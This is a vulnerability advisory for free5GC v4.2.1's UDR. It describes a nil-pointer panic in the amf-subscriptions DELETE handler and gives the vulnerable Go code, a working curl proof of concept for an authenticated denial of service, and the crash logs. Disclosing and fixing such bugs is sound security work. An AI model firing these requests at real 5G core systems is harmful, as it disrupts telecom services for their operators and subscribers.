free5GC's UDR nudr-dr DELETE amf-subscriptions panics on missing subsId when UE state exists (nil pointer dereference)

Summary

free5GC's UDR nudr-dr DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions handler contains a nil-pointer dereference reachable from a single authenticated request, after one preparatory authenticated EE-subscription create. The handler checks _, ok = UESubsData.EeSubscriptionCollection[subsId] and sets a 404 problem-details on the miss path, but then continues to UESubsData.EeSubscriptionCollection[subsId].AmfSubscriptionInfos -- dereferencing the same missing entry instead of returning. Gin recovery converts the panic into HTTP 500, but the endpoint remains repeatedly panicable.

This endpoint requires a valid nudr-dr OAuth2 access token (i.e. PR:L, NOT PR:N), so this is scored as an authenticated panic-DoS, not as an unauth-bypass finding.

Details

Validated against the UDR container in the official Docker compose lab.
- Source repo tag: v4.2.1
- Running Docker image: free5gc/udr:v4.2.1
- Runtime UDR commit: 754d23b0
- Docker validation date: 2026-03-22
- UDR endpoint: http://10.100.200.11:8000

Precondition (one authenticated EE-subscription create allocates UE state):

if !ok {
    udrSelf.UESubsCollection.Store(ueId, new(udr_context.UESubsData))
    value, _ = udrSelf.UESubsCollection.Load(ueId)
}
...
UESubsData.EeSubscriptionCollection[newSubscriptionID] = new(udr_context.EeSubscriptionCollection)

Vulnerable handler (delete on amf-subscriptions): the ok miss path sets pd but does not return, so the very next line dereferences the nil entry:

_, ok = UESubsData.EeSubscriptionCollection[subsId]
if !ok {
    pd = util.ProblemDetailsNotFound("SUBSCRIPTION_NOT_FOUND")
}

if UESubsData.EeSubscriptionCollection[subsId].AmfSubscriptionInfos == nil {
    pd = util.ProblemDetailsNotFound("AMFSUBSCRIPTION_NOT_FOUND")
}

When subsId is absent, UESubsData.EeSubscriptionCollection[subsId] is nil, and .AmfSubscriptionInfos panics with runtime error: invalid memory address or nil pointer dereference.

Code evidence (paths in free5gc/udr):
- Precondition route + handler (EE-subscription create that allocates UE state):
- NFs/udr/internal/sbi/api_datarepository.go:600
- NFs/udr/internal/sbi/api_datarepository.go:602
- NFs/udr/internal/sbi/api_datarepository.go:2528
- NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:25
- NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:30
- NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:38
- Vulnerable delete route + dispatch:
- NFs/udr/internal/sbi/api_datarepository.go:2161
- NFs/udr/internal/sbi/api_datarepository.go:2172
- Panic root cause (nil deref):
- NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:62
- NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:64
- NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:69

PoC

Reproduced end-to-end against the running UDR at http://10.100.200.11:8000.

1. Restart UDR (clean state):

docker restart udr

2. Obtain a valid nudr-dr token from NRF:

curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=UDR&scope=nudr-dr'

3. Create one EE subscription to populate UESubsCollection for ueId=x:

curl -i -sS -X POST \
  'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/context-data/ee-subscriptions' \
  -H 'Authorization: Bearer <valid_nudr_dr_jwt>' \
  -H 'Content-Type: application/json' \
  --data '{}'

HTTP/1.1 201 Created

4. Trigger the panic with a nonexistent subsId:

curl -i -sS -X DELETE \
  'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions' \
  -H 'Authorization: Bearer <valid_nudr_dr_jwt>'

HTTP/1.1 500 Internal Server Error
Content-Length: 0

5. UDR container logs (docker logs udr) confirm the nil-pointer panic at event_amf_subscription_info_document.go:69 inside RemoveAmfSubscriptionsInfoProcedure:

[ERRO][UDR][GIN] panic: runtime error: invalid memory address or nil pointer dereference
github.com/free5gc/udr/internal/sbi/processor.(*Processor).RemoveAmfSubscriptionsInfoProcedure
    .../event_amf_subscription_info_document.go:69
github.com/free5gc/udr/internal/sbi.(*Server).HandleRemoveAmfSubscriptionsInfo
    .../api_datarepository.go:2172
[INFO][UDR][GIN] | 500 | DELETE | /nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions |

Impact

NULL pointer dereference (CWE-476) in an authenticated UDR data-repository handler, caused by improper handling of the missing-subsId branch (CWE-754): the handler sets a problem-details value but does not return, then dereferences the same missing map entry.

This is NOT framed as an auth-bypass finding: the endpoint requires a valid nudr-dr OAuth2 access token. A network attacker who already holds (or can obtain) a valid token can:
- Trigger a reliable, repeatable nil-deref panic on the amf-subscriptions delete route after one preparatory POST that allocates UE state for the chosen ueId.
- Repeat the trigger to sustain a per-request panic-DoS on UDR's data-repository surface, with each panic costing more CPU + log writes than the intended 404 SUBSCRIPTION_NOT_FOUND response would have.

No Confidentiality impact (the response is 500 with empty body; no UE data is returned to the attacker via the panic). No persistent Integrity impact from the panic itself (the EE subscription created during the precondition is in-memory state owned by UDR's intended data-repository semantics, and is not corrupted by the delete-time panic). Availability impact is limited to per-request degradation (Gin recovers; the UDR process keeps running).

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/919
Upstream fix: https://github.com/free5gc/udr/pull/60